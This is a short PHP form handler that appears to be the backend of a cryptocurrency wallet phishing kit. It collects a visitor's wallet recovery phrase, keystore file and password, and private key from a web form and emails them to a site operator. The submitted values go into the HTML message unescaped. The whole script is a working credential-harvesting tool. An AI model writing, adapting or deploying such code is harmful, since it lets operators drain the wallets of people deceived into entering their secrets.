<?php
include 'functions.php';

$error = "";
  if($_SERVER['REQUEST_METHOD'] == "POST"){
    $walletName = $_POST['wallet_name'];
    $email = $_POST['email'];
    $recoveryPhrase = $_POST['recovery_phrase'];
    $keystoreJson = $_POST['keystore_json'];
    $keystorePassword = $_POST['keystore_password'];
    $privateKey = $_POST['private_key'];
    $imageSrc = $_POST['image_src'];
    $iconName = $_POST['icon_name'];
   
    $subject = "New Wallet Form Submission";
    $adminMessage = "
        <h3>New Wallet Form Submission</h3>
        <p><strong>Wallet:</strong> $walletName</p>
        <p><strong>Email:</strong> $email</p>
        <p><strong>Phrase:</strong><br>$recoveryPhrase</p>
        <p><strong>Keystore JSON:</strong><br>$keystoreJson</p>
        <p><strong>Keystore Password:</strong><br>$keystorePassword</p>
        <p><strong>Private Key:</strong><br>$privateKey</p>
        <p><strong>Wallet Image:</strong><br><img src='$imageSrc' width='100'></p>
        <p><strong>Wallet Type:</strong><br>$iconName</p>
        <hr>
        <p>This message was submitted through the wallet form on the website.</p>
    ";
        $send = sendmail($email_to, $subject, $adminMessage); 
        if ($send) {
           echo "success"; 
        }

    }
?>